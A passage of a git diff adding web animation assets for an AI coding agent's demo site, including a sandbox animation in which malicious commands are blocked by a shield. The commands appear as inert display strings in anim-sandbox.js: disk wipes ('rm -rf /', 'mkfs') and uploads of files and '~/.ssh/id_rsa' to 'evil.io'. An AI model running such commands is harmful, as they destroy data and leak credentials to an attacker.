actions.classList.add('is-gone'); + await step(380, myGen); + removeEl(actions); + + // 批准后开始实施 + await typeAiMsg('好的,开始实施。', myGen); + await step(250, myGen); + await addToolLine('编写设置页面组件', 'SettingsPanel.tsx', 1000, myGen); + await step(280, myGen); + await addToolLine('构建验证', 'npm run build', 1000, myGen); + await step(320, myGen); + await typeAiMsg('设置页面已完成,构建通过。', myGen); + } + + /* ── 模式二:询问 ── */ + + async function playAsk(myGen) { + addUserMsg('帮我优化一下这个页面的性能'); + await step(700, myGen); + + var think = addThinkRow(); + await step(1100, myGen); + removeEl(think); + + await typeAiMsg('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', myGen); + await step(500, myGen); + + // 输入栏出现,用户逐字输入回答 + composerText.textContent = ''; + composer.classList.add('is-visible'); + await step(450, myGen); + var reply = '主要是首次加载慢'; + for (var i = 0; i < reply.length; i++) { + composerText.textContent += reply[i]; + await step(70, myGen); + } + await step(600, myGen); + + // 发送:输入栏淡出,内容变成右侧用户气泡 + composer.classList.add('is-sent'); + await step(240, myGen); + composer.classList.remove('is-visible', 'is-sent'); + composerText.textContent = ''; + addUserMsg(reply); + await step(700, myGen); + + // 模型开始调查 + var think2 = addThinkRow(); + await step(1000, myGen); + removeEl(think2); + + await typeAiMsg('好的,我来调查一下。', myGen); + await step(250, myGen); + await addToolLine('分析构建产物体积', 'npm run build', 1200, myGen); + await step(300, myGen); + await typeAiMsg('找到了:图表库被全量引入,首屏多出 2.1MB。', myGen); + } + + /* ── 模式三:执行 ── */ + + async function playExecute(myGen) { + addUserMsg('把页面上的按钮都改成蓝色'); + await step(700, myGen); + + var think = addThinkRow(); + await step(900, myGen); + removeEl(think); + + await typeAiMsg('好的,我来改。', myGen); + await step(250, myGen); + + await addToolLine('修改按钮颜色', 'css/style.css', 1000, myGen); + await step(300, myGen); + await addToolLine('构建验证', 'npm run build', 1100, myGen); + await step(350, myGen); + + await typeAiMsg('已完成,所有按钮已切换为蓝色。', myGen); + } + + /* ── 调度 ── */ + + var PLAYERS = { plan: playPlan, ask: playAsk, execute: playExecute }; + + function setActiveTab(mode) { + tabs.forEach(function (t) { + t.classList.toggle('is-active', t.dataset.mode === mode); + }); + } + + function play(mode) { + gen += 1; + var myGen = gen; + chat.innerHTML = ''; + chat.scrollTop = 0; + composerText.textContent = ''; + composer.classList.remove('is-visible', 'is-sent'); + cursor.classList.remove('is-visible', 'is-clicking'); + setActiveTab(mode); + PLAYERS[mode](myGen).catch(function (e) { + if (e && e.message !== 'cancelled') throw e; + }); + } + + tabs.forEach(function (t) { + t.addEventListener('click', function () { play(t.dataset.mode); }); + }); + + // 首次进入默认播放「计划」 + play('plan'); + } + + return { init: init }; +})(); diff --git a/demo/site-assets/anim-sandbox.css b/demo/site-assets/anim-sandbox.css new file mode 100644 index 0000000..fab489d --- /dev/null +++ b/demo/site-assets/anim-sandbox.css @@ -0,0 +1,155 @@ +/* 沙箱与网络授权动画 —— 场景样式(主页 feature 行 / anim2-demo 页共用) + 无边框无底色,融于星空;无 glow。恶意命令红 --danger 定义在 .anim2-window 作用域。 */ + +/* ───────── 动画容器 ───────── */ + +.anim2-window { + --danger: #d47b6b; /* 恶意命令红,仅本动画作用域 */ + width: 100%; + height: 100%; + display: flex; + flex-direction: column; +} + +.anim2-tabs { + display: flex; + gap: 2px; + padding: 0 2px 6px; + flex: none; +} + +.anim2-tab { + height: 26px; + padding: 0 13px; + border: 0; + border-radius: 6px; + background: transparent; + color: var(--text-3); + font-size: 12.5px; + font-family: inherit; + cursor: pointer; + transition: background-color 0.25s ease, color 0.25s ease; +} +.anim2-tab:hover { color: var(--text-2); } +.anim2-tab.is-active { + background: rgba(169, 194, 240, 0.14); + color: var(--accent-strong); +} + +/* ───────── 场景区 ───────── */ + +.anim2-stage { + position: relative; + flex: 1; + overflow: hidden; +} + +/* 防御者:右侧,六边形 + 盾牌 */ +.defender { + position: absolute; + right: 36px; + bottom: 26px; + width: 96px; + height: 96px; +} +.defender-avatar { + display: block; + width: 96px; + height: 96px; + color: var(--text-1); +} +.defender-avatar .astrion-avatar { width: 100%; height: 100%; } + +/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */ +.defender-shield { + position: absolute; + left: -26px; + top: -12px; + width: 70px; + height: 70px; + color: var(--accent); + fill: var(--bg-1); + transform: rotate(24deg); +} + +/* 盾牌/智能体受击后坐回弹 */ +@keyframes defender-brace { + 0% { transform: translateX(0); } + 30% { transform: translateX(5px); } + 60% { transform: translateX(-1.5px); } + 100% { transform: translateX(0); } +} +.defender.is-hit { animation: defender-brace 0.34s ease; } + +/* ───────── 飞行中的命令块 ───────── */ + +.cmd-projectile { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 13.5px; + font-weight: 600; + color: var(--danger); + white-space: nowrap; + will-change: transform; + /* 装填入场只动透明度:fill both 保持 transform 会压住 JS 逐帧位移动画 */ + animation: cmd-load 0.4s ease both; +} +@keyframes cmd-load { + from { opacity: 0; } + to { opacity: 1; } +} + +/* ───────── 字符碎片(撞击后炸开) ───────── */ + +.cmd-shard { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 13.5px; + font-weight: 600; + color: var(--danger); + will-change: transform, opacity; +} + +/* ───────── 撞击扩散环(描边圆环,非光晕) ───────── */ + +.impact-ring { + position: absolute; + width: 56px; + height: 56px; + border: 2px solid var(--accent-strong); + border-radius: 50%; + opacity: 0; + pointer-events: none; + transform: translate(-50%, -50%) scale(0.3); +} +.impact-ring.is-active { + animation: impact-expand 0.45s ease-out both; +} +@keyframes impact-expand { + 0% { opacity: 0.75; transform: translate(-50%, -50%) scale(0.3); } + 100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); } +} + +/* ───────── 底部说明行 ───────── */ + +.anim2-caption { + flex: none; + min-height: 46px; + padding: 6px 2px 0; + font-family: var(--font-sans); +} + +.caption-note { + font-size: 12.5px; + color: var(--ok); + margin-top: 2px; + animation: caption-in 0.3s ease both; +} +@keyframes caption-in { + from { opacity: 0; transform: translateY(5px); } + to { opacity: 1; transform: translateY(0); } +} diff --git a/demo/site-assets/anim-sandbox.js b/demo/site-assets/anim-sandbox.js new file mode 100644 index 0000000..eff3b41 --- /dev/null +++ b/demo/site-assets/anim-sandbox.js @@ -0,0 +1,366 @@ +/* 沙箱与网络授权动画 —— 场景式 + * 恶意命令从左侧抛物线射向持盾的智能体,撞击盾牌后字符炸开飞散, + * 底部出现拦截说明。两个情节(沙箱/网络)手动切换。 + */ + +/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用) + * AnimSandbox.init(container):在容器内建 DOM(情节 tab + 场景 + 说明行), + * 点击 tab 切换情节并从头播放,再次点击重播。 + */ +window.AnimSandbox = (function () { + 'use strict'; + + function init(container) { + container.innerHTML = + '
' + + '
' + + '' + + '' + + '
' + + '
' + + '
' + + '' + + '' + + '
' + + '' + + '
' + + '
' + + '
'; + + var stage = container.querySelector('.anim2-stage'); + var defender = container.querySelector('.defender'); + var shield = container.querySelector('.defender-shield'); + var ring = container.querySelector('.impact-ring'); + var caption = container.querySelector('.anim2-caption'); + var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab')); + + // 挂载六边形眼睛(眨眼 + 追踪) + if (window.AstrionAvatar) { + AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true }); + } + + var gen = 0; + + function sleep(ms) { + return new Promise(function (r) { setTimeout(r, ms); }); + } + + async function step(ms, myGen) { + await sleep(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls, text) { + var e = document.createElement(tag); + if (cls) e.className = cls; + if (text != null) e.textContent = text; + return e; + } + + /** rAF 逐帧,返回 false 停止。gen 变了自动停。 */ + function eachFrame(fn, myGen) { + return new Promise(function (resolve) { + var last = performance.now(); + function tick(now) { + if (myGen !== gen) { resolve(); return; } + var dt = Math.min((now - last) / 1000, 0.05); + last = now; + if (fn(dt) === false) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + function stageRect() { return stage.getBoundingClientRect(); } + + /** 盾牌中心(stage 相对坐标) */ + function shieldCenter() { + var sr = stageRect(); + var r = shield.getBoundingClientRect(); + return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left }; + } + + /* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */ + + async function fire(cmd, opts, myGen) { + var block = el('div', 'cmd-projectile', cmd); + stage.appendChild(block); + var w = block.offsetWidth; + var h = block.offsetHeight; + var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐 + var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同 + + var shieldC = shieldCenter(); + shieldC.y += opts.aim || 0; + + var start = { x: 14, y: opts.startY }; + var vx = opts.vx; + + // 先以出场位粗解发射角 → 定蓄力后拉方向 + var Tc0 = (shieldC.x - (start.x + w / 2)) / vx; + var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0; + var rad0 = Math.atan2(vyEst, vx); + var pullDist = 22; + var pullX = start.x - Math.cos(rad0) * pullDist; + var pullY = start.y - Math.sin(rad0) * pullDist; + + // 轨迹起点 = 蓄力位 + var ox = pullX; + var oy = pullY; + var ocx = ox + w / 2; + var ocy = oy + h / 2; + + // 最右字符在块内(未旋转)相对块中心的偏移 + var lxLast, lyLast; + if (offsets && offsets.length) { + var lo = offsets[offsets.length - 1]; + lxLast = lo.x + lo.w / 2 - w / 2; + lyLast = lo.y + lo.h / 2 - h / 2; + } else { + lxLast = w / 2; + lyLast = 0; + } + + // 求解 vy0:让最右字符(不是块中心)精确扫过盾心。 + // 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。 + var Tc = (shieldC.x - ocx) / vx; + var aimY = shieldC.y; + var vy0 = 0; + var hit = null; + for (var iter = 0; iter < 3; iter++) { + vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc; + var best = { d: 1e9, t: Tc, ang: 0, py: 0 }; + for (var t = 0.004; t < 6; t += 0.004) { + var rr = Math.atan2(vy0 + G * t, vx); + var cosR = Math.cos(rr); + var sinR = Math.sin(rr); + var ccx = ocx + vx * t; + var ccy = ocy + vy0 * t + 0.5 * G * t * t; + // 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转 + var fx = ccx + lxLast * cosR - lyLast * sinR; + var fy = ccy + lxLast * sinR + lyLast * cosR; + var ddx = fx - shieldC.x; + var ddy = fy - shieldC.y; + var dd = Math.sqrt(ddx * ddx + ddy * ddy); + if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy }; + if (fx > shieldC.x + 80) break; // 已飞过盾牌 + } + hit = { t: best.t, ang: best.ang }; + if (best.d <= 4) break; + aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差 + } + var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上) + + // 出场:直接在起点摆好仰角 + block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; + await step(240, myGen); + + // 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同) + block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)'; + block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; + await step(460, myGen); + block.style.transition = 'none'; + + // 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂 + var elapsed = 0; + await eachFrame(function (dt) { + elapsed += dt; + if (elapsed >= hit.t) return false; + var px = ox + vx * elapsed; + var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed; + var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3; + block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)'; + return true; + }, myGen); + if (myGen !== gen) throw new Error('cancelled'); + + // 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心 + var hitX = ox + vx * hit.t; + var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t; + block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)'; + impactFX(); + shatter(block, hitX, hitY, hit.ang, w, h, offsets); + } + + /* ── 两个情节 ── */ + + // 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台 + function swallowCancel(e) { + if (e && e.message !== 'cancelled') throw e; + } + + async function playSandbox(myGen) { + // 三条命令方向/速度/弧度各异:基准中弧线、Windows 快平直弹、慢速高抛 + var cmds = [ + { cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 }, + { cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 }, + { cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 } + ]; + var jobs = []; + for (var i = 0; i < cmds.length; i++) { + jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel)); + await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力 + } + await Promise.all(jobs); + await step(320, myGen); + showCaption('你的文件没有被改动'); + } + + async function playNetwork(myGen) { + // 三条命令方向/速度/弧度各异;Unix 与 Windows 路径都有 + var cmds = [ + { cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 }, + { cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 }, + { cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 } + ]; + var jobs = []; + for (var i = 0; i < cmds.length; i++) { + jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel)); + await step(880, myGen); + } + await Promise.all(jobs); + await step(320, myGen); + showCaption('数据没有离开这台机器'); + } + + /* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */ + + /** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */ + function measureChars(block) { + var tn = block.firstChild; + if (!tn || tn.nodeType !== 3) return null; + var br = block.getBoundingClientRect(); + var range = document.createRange(); + var offsets = []; + for (var i = 0; i < tn.length; i++) { + range.setStart(tn, i); + range.setEnd(tn, i + 1); + var r = range.getBoundingClientRect(); + offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height }); + } + range.detach(); + return offsets; + } + + function shatter(block, hitX, hitY, hitAng, w, h, offsets) { + var text = block.textContent; + var rad = hitAng / 57.3; + var cosA = Math.cos(rad); + var sinA = Math.sin(rad); + var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%) + var cy = hitY + h / 2; + block.parentNode.removeChild(block); + + var shards = []; + for (var i = 0; i < text.length; i++) { + var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度 + var s = el('span', 'cmd-shard', ch); + stage.appendChild(s); + var sw = s.offsetWidth; + var sh = s.offsetHeight; + // 字符中心在块内(未旋转)相对块中心的偏移 + var lx, ly; + if (offsets && offsets[i]) { + lx = offsets[i].x + offsets[i].w / 2 - w / 2; + ly = offsets[i].y + offsets[i].h / 2 - h / 2; + } else { + lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2; + ly = 0; + } + // 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它 + var rx = cx + lx * cosA - ly * sinA; + var ry = cy + lx * sinA + ly * cosA; + var sx0 = rx - sw / 2; + var sy0 = ry - sh / 2; + var rot0 = hitAng + (Math.random() - 0.5) * 24; + // 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧 + s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)'; + shards.push({ + el: s, + x: sx0, + y: sy0, + vx: -(60 + Math.random() * 200), // 向左回弹 + vy: -(120 + Math.random() * 240), // 向上炸开 + rot: rot0, // 保持撞击瞬间的角度,加少量随机散开 + vr: (Math.random() - 0.5) * 900, + life: 0, + ttl: 0.85 + Math.random() * 0.4 + }); + } + + var g = 980; + eachFrame(function (dt) { + var alive = false; + for (var i = 0; i < shards.length; i++) { + var p = shards[i]; + if (p.life >= p.ttl) continue; + alive = true; + p.life += dt; + p.x += p.vx * dt; + p.y += p.vy * dt; + p.vy += g * dt; + p.rot += p.vr * dt; + var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55)); + p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)'; + p.el.style.opacity = Math.max(0, fade).toFixed(2); + if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el); + } + return alive; + }, gen); // 粒子循环跟当前 gen,切换时自动停 + } + + function impactFX() { + var c = shieldCenter(); + ring.style.left = c.x + 'px'; + ring.style.top = c.y + 'px'; + ring.classList.remove('is-active'); + ring.getBoundingClientRect(); // reflow 重置动画 + ring.classList.add('is-active'); + + defender.classList.remove('is-hit'); + defender.getBoundingClientRect(); + defender.classList.add('is-hit'); + } + + function showCaption(noteText) { + caption.appendChild(el('div', 'caption-note', noteText)); + } + + /* ── 调度 ── */ + + var PLAYERS = { sandbox: playSandbox, network: playNetwork }; + + function setActiveTab(mode) { + tabs.forEach(function (t) { + t.classList.toggle('is-active', t.dataset.mode === mode); + }); + } + + function play(mode) { + gen += 1; + var myGen = gen; + // 清场:飞行块、碎片、说明、冲击环 + Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) { + n.parentNode.removeChild(n); + }); + caption.innerHTML = ''; + ring.classList.remove('is-active'); + defender.classList.remove('is-hit'); + setActiveTab(mode); + PLAYERS[mode](myGen).catch(function (e) { + if (e && e.message !== 'cancelled') throw e; + }); + } + + tabs.forEach(function (t) { + t.addEventListener('click', function () { play(t.dataset.mode); }); + }); + + play('sandbox'); + } + + return { init: init }; +})(); diff --git a/demo/site-assets/anim-shared.css b/demo/site-assets/anim-shared.css new file mode 100644 index 0000000..b236d66 --- /dev/null +++ b/demo/site-assets/anim-shared.css @@ -0,0 +1,278 @@ +/* 运行模式动画 —— 共享样式(主页与 anim-demo 共用) + token(--text-1 等)由宿主页面提供。 */ + +/* ───────── 动画容器:透明无框,浮在背景上 ───────── */ + +.anim-window { + position: relative; + width: 100%; + height: 100%; + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* 顶部模式切换 */ +.anim-topbar { + display: flex; + gap: 2px; + padding: 0 2px 12px; + flex: none; +} + +.anim-mode-tab { + height: 26px; + padding: 0 13px; + border: 0; + border-radius: 6px; + background: transparent; + color: var(--text-3); + font-size: 12.5px; + font-family: inherit; + cursor: pointer; + transition: background-color 0.25s ease, color 0.25s ease; +} +.anim-mode-tab:hover { color: var(--text-2); } +.anim-mode-tab.is-active { + background: rgba(169, 194, 240, 0.14); + color: var(--accent-strong); +} + +/* ───────── 消息区 ───────── */ + +.anim-chat { + flex: 1; + padding: 4px 2px; + display: flex; + flex-direction: column; + gap: 10px; + overflow: hidden; +} + +/* 入场:上浮淡入 */ +.anim-item { + animation: anim-in 0.32s cubic-bezier(0.22, 0.9, 0.3, 1) both; +} +@keyframes anim-in { + from { opacity: 0; transform: translateY(8px); } + to { opacity: 1; transform: translateY(0); } +} + +/* 用户气泡:右侧 */ +.msg-user { + align-self: flex-end; + max-width: 78%; + background: var(--accent); + color: #0c1120; + font-size: 13px; + line-height: 1.5; + padding: 8px 12px; + border-radius: 12px 12px 4px 12px; +} + +/* AI 消息:裸文字,无气泡 */ +.msg-ai { + align-self: flex-start; + max-width: 92%; + color: var(--text-1); + font-size: 13px; + line-height: 1.65; +} + +/* 打字光标 */ +.type-caret { + display: inline-block; + width: 7px; + height: 14px; + margin-left: 2px; + vertical-align: -2px; + background: var(--accent); + animation: caret-blink 0.8s steps(1) infinite; +} +@keyframes caret-blink { 50% { opacity: 0; } } + +/* 思考:只有三点动画,无文字 */ +.think-row { + align-self: flex-start; + display: flex; + align-items: center; + padding: 6px 0; +} +.think-dots { display: inline-flex; gap: 5px; } +.think-dots i { + width: 6px; height: 6px; + border-radius: 50%; + background: var(--text-2); + animation: think-wave 1.2s ease-in-out infinite; +} +.think-dots i:nth-child(2) { animation-delay: -0.2s; } +.think-dots i:nth-child(3) { animation-delay: -0.4s; } +@keyframes think-wave { + 0%, 100% { transform: translateY(0); opacity: 0.5; } + 50% { transform: translateY(-4px); opacity: 1; } +} + +/* ───────── 工具摘要行(主对话极简模式风格) ───────── + 一行:状态图标 + intent + 关键参数;无框无底,不显示工具名 */ +.tool-line { + align-self: stretch; + display: flex; + align-items: baseline; + gap: 8px; + padding: 3px 0; + font-size: 12.5px; + line-height: 1.5; + min-width: 0; +} +.tool-status { + flex: none; + width: 13px; + display: inline-flex; + align-items: center; + align-self: center; + justify-content: center; + /* 状态图标在行尾:左侧是 intent+参数 */ + order: 3; + margin-left: auto; +} +/* 运行中:转圈 */ +.tool-line.is-running .tool-status::before { + content: ""; + width: 9px; height: 9px; + border-radius: 50%; + border: 1.6px solid rgba(168, 180, 210, 0.3); + border-top-color: var(--accent); + animation: tool-spin 0.7s linear infinite; +} +@keyframes tool-spin { to { transform: rotate(360deg); } } +/* 完成:对勾 */ +.tool-line.is-done .tool-status::before { + content: "✓"; + color: var(--ok); + font-size: 11.5px; + font-weight: 700; +} +.tool-intent { + color: var(--text-1); + flex: none; +} +.tool-param { + font-family: var(--font-mono); + font-size: 11.5px; + color: var(--text-3); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + min-width: 0; +} +.tool-line.is-done .tool-intent { color: var(--text-2); } + +/* ───────── 计划展示:无卡片,裸内容 ───────── */ + +.plan-body { + align-self: stretch; + padding: 2px 0 0; +} +.plan-title { + font-size: 13.5px; + font-weight: 620; + color: var(--text-1); + margin-bottom: 6px; + min-height: 20px; +} +.plan-item { + display: flex; + gap: 8px; + font-size: 12.5px; + color: var(--text-2); + line-height: 1.6; + padding: 1.5px 0; +} +.plan-item b { + color: var(--text-3); + font-weight: 500; + font-family: var(--font-mono); + font-size: 11.5px; + margin-top: 1px; + flex: none; +} +.plan-actions { + margin-top: 12px; + display: flex; + gap: 10px; + max-height: 40px; + overflow: hidden; +} +.plan-actions.is-gone { + /* 与输入栏同理:transition 与入场动画 fill 同帧交互不可靠,退场统一用 keyframes */ + animation: plan-actions-out 0.35s ease both; +} +@keyframes plan-actions-out { + from { opacity: 1; max-height: 40px; margin-top: 12px; } + to { opacity: 0; max-height: 0; margin-top: 0; } +} +.plan-btn { + height: 30px; + padding: 0 16px; + border-radius: 7px; + border: 1px solid var(--line); + background: transparent; + color: var(--text-2); + font-size: 12.5px; + font-family: inherit; +} +.plan-btn.is-primary { + background: var(--accent); + border-color: transparent; + color: #0c1120; + font-weight: 600; +} +.plan-btn.is-pressed { transform: scale(0.93); transition: transform 0.1s ease; } +.plan-btn.is-approved { + background: transparent; + border-color: var(--ok); + color: var(--ok); + transition: all 0.2s ease; +} + +/* ───────── 输入栏:直接显示正在输入的内容 ───────── */ + +.anim-composer { + flex: none; + margin: 10px 2px 0; + height: 40px; + border: 1px solid var(--line); + border-radius: 10px; + display: none; + align-items: center; + padding: 0 13px; +} +.anim-composer.is-visible { display: flex; animation: anim-in 0.32s ease both; } +.anim-composer.is-sent { + /* 退场用 keyframes:不依赖 transition 与入场动画 fill 值的交互 */ + animation: composer-out 0.25s ease both; +} +@keyframes composer-out { + from { opacity: 1; transform: none; } + to { opacity: 0; transform: translateY(6px); } +} +.anim-composer-text { font-size: 12.5px; color: var(--text-1); } +.anim-composer-caret { + width: 1.5px; height: 15px; + background: var(--text-2); + animation: caret-blink 1s steps(1) infinite; +} + +/* ───────── 假鼠标指针 ───────── */ + +.anim-cursor { + position: absolute; + left: 0; top: 0; + opacity: 0; + pointer-events: none; + transition: transform 0.7s cubic-bezier(0.3, 0.7, 0.3, 1), opacity 0.25s ease; + filter: drop-shadow(0 1px 3px rgba(0, 0, 0, 0.5)); +} +.anim-cursor.is-visible { opacity: 1; } +.anim-cursor.is-clicking svg { transform: scale(0.82); transition: transform 0.09s ease; } +.anim-cursor svg { display: block; transition: transform 0.12s ease; } diff --git a/demo/site-assets/anim3-demo.css b/demo/site-assets/anim3-demo.css new file mode 100644 index 0000000..f449b04 --- /dev/null +++ b/demo/site-assets/anim3-demo.css @@ -0,0 +1,282 @@ +/* 修改记录动画 —— 智能体持笔在 3D 倾斜纸上改写内容, + 纸摊平后绿行抽出展开为红绿 diff。无边框无底色,融于星空;无 glow。 */ + +:root { + --bg-0: #0c1120; + --bg-1: #111830; + --bg-panel: #151c31; + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --danger: #d47b6b; + --ok: #7ba889; + /* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */ + --file-paper: var(--bg-panel); + --file-line: rgba(238, 240, 246, 0.35); + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: var(--font-sans); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-1); +} + +.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; } +.hint { font-size: 13px; color: var(--text-3); } + +/* ───────── 动画容器 ───────── */ + +.anim3-window { + width: 540px; + height: 380px; +} + +.anim3-stage { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; + cursor: pointer; + user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */ + -webkit-user-select: none; +} + +/* ───────── 智能体(右上) ───────── */ + +.writer { + position: absolute; + right: 58px; + top: 26px; + width: 84px; + height: 84px; +} +.writer-avatar { + display: block; + width: 84px; + height: 84px; + color: var(--text-1); +} +.writer-avatar .astrion-avatar { width: 100%; height: 100%; } + +/* ───────── 笔(双层结构) ───────── + 外层 pen-pos:JS 逐帧/过渡定位,使笔尖精确落在文字进度点上; + 内层 svg:以笔尖为圆心旋转摇摆(transform-origin 在笔尖), + 既有晃动,笔尖又不会脱离位置。 */ + +.pen-pos { + position: absolute; + left: 0; + top: 0; + z-index: 40; /* 最高层:高于 3D 纸、盒子(30)与堆叠纸(21~23),笔不能被挡 */ + width: 40px; + height: 40px; + color: var(--accent); + will-change: transform; + transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */ +} +.pen-pos.is-live { + transition: none; /* 写字逐帧驱动时关闭过渡 */ +} +.writer-pen { + width: 40px; + height: 40px; + /* origin = 笔尖视觉触点(SVG (2.65,21.02) → 40px 盒内 (4.4,35.0)),与 nibRef 同点: + 摇摆时笔尖钉住不动,只有笔身晃 */ + transform-origin: 11% 87.6%; +} +.writer-pen.is-writing { + animation: pen-write 0.42s ease-in-out infinite; +} +/* 擦除:origin 切到笔尾橡皮触点(SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */ +.writer-pen.is-erasing { + transform-origin: 80% 20%; +} +@keyframes pen-write { + 0%, 100% { transform: rotate(-5deg); } + 50% { transform: rotate(6deg); } +} + +/* ───────── 3D 倾斜的纸 ───────── */ +/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */ + +.paper3d { + position: absolute; + left: 280px; + top: 130px; + width: 192px; + height: 122px; + transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); + transform-style: preserve-3d; +} + +.paper-sheet { + width: 100%; + height: 100%; + background: var(--bg-panel); + border: 1px solid var(--line); + border-radius: 6px; + padding: 18px 16px; + display: flex; + flex-direction: column; + gap: 14px; +} + +/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transition;opacity 过渡供轮间换内容淡出) */ +.pline { + position: relative; + height: 4px; + border-radius: 2px; + background: var(--text-3); + opacity: 0.75; + transition: opacity 0.28s ease; +} +.paper3d.is-refilling .pline { opacity: 0; } +/* 线右端锚点:0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */ +.pline-end { + position: absolute; + right: 0; + top: 50%; + width: 0; + height: 0; + margin-top: -0px; /* 点本身无尺寸,top:50% 即线厚中心 */ +} +/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */ + +/* ───────── diff 区 ───────── */ + +.diff-view { + position: absolute; + left: 134px; /* 盒子水平中线(86+48),diff 中心对齐盒子中线 */ + transform: translateX(-50%); /* 克隆切片内 transform 已被覆盖,不受影响 */ + top: 0; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.5; + display: flex; + flex-direction: column; + gap: 3px; + z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */ + border-radius: 6px; + transition: background 0.25s ease; +} +/* genie 前:四行 diff 合为一张纸的底板(不加 outline:shorthand 不可过渡,会闪白框) */ +.diff-view.is-sheet { + background: rgba(24, 30, 52, 0.92); +} +/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */ +.diff-view.no-fade { transition: none; } 